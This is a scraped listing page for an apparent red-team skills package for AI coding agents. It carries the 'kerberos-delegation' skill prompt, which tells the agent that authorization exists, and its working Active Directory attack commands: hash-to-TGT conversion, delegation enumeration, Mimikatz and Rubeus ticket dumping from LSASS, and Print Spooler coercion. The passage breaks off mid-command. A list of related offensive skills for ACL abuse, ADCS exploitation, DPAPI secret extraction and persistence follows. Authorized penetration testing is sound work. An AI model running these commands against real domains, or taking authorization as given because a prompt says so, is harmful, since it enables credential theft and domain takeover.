acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Exploits Kerberos delegation misconfigurations for privilege escalation and lateral movement in Active Directory. Covers Unconstrained Delegation (TGT harvesting via coercion), Constrained Delegation (S4U2Self + S4U2Proxy with SPN swapping), and Resource-Based Constrained
Claude Code
$ npx -y skills add blacklanternsecurity/red-run --skill kerberos-delegation --agent claude-code
Codex
$ npx skills add blacklanternsecurity/red-run --skill kerberos-delegation -a codex -y
Cursor
$ npx skills add blacklanternsecurity/red-run --skill kerberos-delegation -a cursor -y
Gemini CLI
$ npx skills add blacklanternsecurity/red-run --skill kerberos-delegation -a gemini-cli -y
GitHub Copilot
$ npx skills add blacklanternsecurity/red-run --skill kerberos-delegation -a github-copilot -y
OpenCode
$ npx skills add blacklanternsecurity/red-run --skill kerberos-delegation -a opencode -y
Windsurf
$ npx skills add blacklanternsecurity/red-run --skill kerberos-delegation -a windsurf -y
name: kerberos-delegation description: > Exploits Kerberos delegation misconfigurations for privilege escalation and lateral movement in Active Directory. Covers Unconstrained Delegation (TGT harvesting via coercion), Constrained Delegation (S4U2Self + S4U2Proxy with SPN swapping), and Resource-Based Constrained Delegation (RBCD via writable machine accounts). keywords: - delegation - unconstrained delegation - constrained delegation - RBCD - resource-based constrained delegation - S4U - S4U2Self - S4U2Proxy - TrustedForDelegation - msDS-AllowedToDelegateTo - msDS-AllowedToActOnBehalfOfOtherIdentity - TGT harvesting - SpoolService - printer bug - SPN swapping - altservice tools: - Impacket - Rubeus - bloodyAD - NetExec - krbrelayx - SpoolSample opsec: medium
You are helping a penetration tester exploit Kerberos delegation misconfigurations for privilege escalation and lateral movement. All testing is under explicit written authorization.
**Kerberos-first authentication**: All commands default to Kerberos auth via ccache. Convert credentials to a TGT first, then use `-k -no-pass` (Impacket), `--use-kcache` (NetExec), or `/ticket:` (Rubeus) throughout.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
`krbrelayx`, `SpoolSample`/`dementor.py`/`PetitPotam`
**Kerberos-first workflow**:
getTGT.py DOMAIN/user -hashes :NTHASH # or with AES (preferred) getTGT.py DOMAIN/user -aesKey AES256KEY export KRB5CCNAME=user.ccache # All subsequent commands use -k -no-pass
Identify delegation-configured accounts. Skip if already provided by **ad-discovery** or conversation context.
# NetExec nxc ldap DC.DOMAIN.LOCAL --use-kcache --trusted-for-delegation # bloodyAD bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \ --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' \ --attr sAMAccountName,userAccountControl # PowerView (Windows) Get-DomainComputer -Unconstrained -Properties name,dnshostname
Note: Domain Controllers always have unconstrained delegation. Focus on **non-DC** computers with `TRUSTED_FOR_DELEGATION`.
# NetExec nxc ldap DC.DOMAIN.LOCAL --use-kcache --delegated-to # bloodyAD bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \ --filter '(msds-allowedtodelegateto=*)' \ --attr sAMAccountName,msds-allowedtodelegateto # PowerView (Windows) Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto # BloodHound Cypher MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
# bloodyAD — find computers you can write to bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get writable \ --otype COMPUTER --right WRITE --detail # Check MachineAccountQuota (for creating attacker computer) bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \ 'DC=DOMAIN,DC=LOCAL' --attr ms-DS-MachineAccountQuota # Check existing RBCD nxc ldap DC.DOMAIN.LOCAL --use-kcache -M rbcd
| Finding | Go To | |---------|-------| | Non-DC computer with unconstrained delegation + local admin | Step 2 | | Service account/computer with `msDS-AllowedToDelegateTo` | Step 3 | | Write access to a computer's AD object | Step 4 | | GenericAll/WriteDACL on computer + MachineAccountQuota > 0 | Step 4 |
**Concept**: When a user authenticates to an unconstrained delegation host, their TGT is cached in LSASS. With local admin on that host, extract the TGT and impersonate that user anywhere.
**Requirements**:
# Rubeus — monitor for new TGTs (run before coercion) .\Rubeus.exe monitor /interval:1 /nowrap # Mimikatz — export all cached tickets privilege::debug sekurlsa::tickets /export
Force a DC or high-value target to authenticate to the unconstrained host.
**Print Spooler (MS-RPRN) — SpoolService Bug**:
# Check if Print Spooler is running ls \\DC01\pipe\spoolss # Windows rpcdump.py DOMAIN/user@DC01 -k -no-pass | grep MS-RPRN # Linux # Coerce DC to authenticate to unconstrained host python3 printerbug.py 'DOMAIN/user:password'@DC01 UNCONSTRAINED-HOST # O
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL →…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse.…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…